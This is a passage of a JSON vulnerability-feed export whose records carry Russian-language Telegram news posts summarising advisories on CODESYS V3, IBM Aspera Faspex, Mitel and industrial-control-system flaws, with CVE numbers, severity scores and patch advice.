\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430.\n\n\u00ab\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 CODESYS V3 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.5.19.0, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT) \u0440\u0438\u0441\u043a\u0443 \u0430\u0442\u0430\u043a, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\u00bb, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Microsoft Threat Intelligence Community.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0435 \u0437\u043d\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u043f\u0440\u0438\u0435\u0442\u0430\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 CODESYS V3. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043d\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u043c\u0443 \u0440\u0435\u0436\u0438\u043c\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 OT, \u0447\u0442\u043e\u0431\u044b \u043c\u0435\u0448\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 (\u041f\u041b\u041a) \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u0427\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u0431\u0430\u0440\u044c\u0435\u0440 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-9013 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,8) \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u041f\u041b\u041a. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2023 \u0433\u043e\u0434\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Microsoft Threat Intelligence Community \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.microsoft.com/en-us/security/blog/2023/08/10/multiple-high-severity-vulnerabilities-in-codesys-v3-sdk-could-lead-to-rce-or-dos/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u041e\u0422", "creation_timestamp": "2026-07-28T00:00:24.594642Z"}, {"uuid": "e562d0fd-5aa5-4b87-b919-290e5d4c3f90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "https://t.me/EchelonEyes/1221", "content": "CISA \u043f\u043e\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0442\u0440\u0435\u043c\u044f \u043d\u043e\u0432\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438\n\n\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u0421\u0428\u0410 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (CISA) \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e \u0442\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430 \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u041f\u0435\u0440\u0432\u0430\u044f, CVE-2022-47986 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8), \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 YAML \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 IBM Aspera Faspex. \n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438,  CVE-2022-41223 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,8) \u0438 CVE-2022-40765 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,8),  \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 Mitel MiVoice Connect \u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u041e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b Mitel \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430.\n\n\u0422\u0430\u043a\u0436\u0435 CISA \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (ICS), \u043a\u0430\u0441\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (CVE-2022-26377 \u0438 CVE-2022-31813) \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 MELSOFT iQ AppPortal \u043e\u0442 Mitsubishi Electric.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438: \n\nhttps://www.cisa.gov/uscert/ncas/current-activity/2023/02/21/cisa-adds-three-known-exploited-vulnerabilities-catalog \n\nhttps://www.cisa.gov/uscert/ncas/current-activity/2023/02/21/cisa-releases-two-industrial-control-systems-advisories \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #CISA", "creation_timestamp": "2026-07-28T01:00:05.433702Z"}, {"uuid": "9e82a89c-ed9e-4f80-b179-fa9c3b6ddfdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47911", "type": "seen", "source": "https://t.me/EchelonEyes/1082", "content": "CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\n\n\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u0421\u0428\u0410 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (CISA) \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u043f\u043e \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (ICS), \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044f \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Sewio, InHand Networks, Sauter Controls \u0438 Siemens.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 RTLS Studio Sewio \u2013 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u043e\u043c\u0435\u0449\u0435\u043d\u0438\u0439. \u041e\u0434\u043d\u0430 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, CVE-2022-45444 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 10,0), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u0430\u0440\u043e\u043b\u044f\u043c \u0434\u043b\u044f \u0438\u0437\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0437\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0432 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c. \u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 (CVE-2022-47911 \u0438 CVE-2022-43483, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,1) \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 (CVE-2022-41989, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,1), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0445\u0430\u043a\u0435\u0440\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 CISA \u0443\u043a\u0430\u0437\u0430\u043b\u0430 \u043d\u0430 \u043f\u044f\u0442\u044c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 InHand Networks InRouter 302 \u0438 InRouter 615, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434, \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430. \u0421\u0440\u0435\u0434\u0438 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u2013CVE-2023-22600, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0439 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS: 10,0.\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 Sauter Controls Nova 220, Nova 230, Nova 106 \u0438 moduNet300, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2023-0053, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2023-0052, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8).\n\n\u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043b\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS) \u0432 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0438 Siemens Mendix SAML (CVE-2022-46823, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,3), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0449\u0435\u043b\u043a\u043d\u0443\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u0432\u044f\u0437\u044c.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.cisa.gov/uscert/ncas/current-activity/2023/01/12/cisa-releases-twelve-industrial-control-systems-advisories \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #ICS #CISA", "creation_timestamp": "2026-07-28T03:00:04.415568Z"}, {"uuid": "8c97e2cc-93fd-4eaf-a3e3-9eaad2c99283", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "https://t.me/EchelonEyes/1221", "content": "CISA \u043f\u043e\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0442\u0440\u0435\u043c\u044f \u043d\u043e\u0432\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438\n\n\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u0421\u0428\u0410 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (CISA) \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e \u0442\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430 \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u041f\u0435\u0440\u0432\u0430\u044f, CVE-2022-47986 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8), \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 YAML \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 IBM Aspera Faspex. 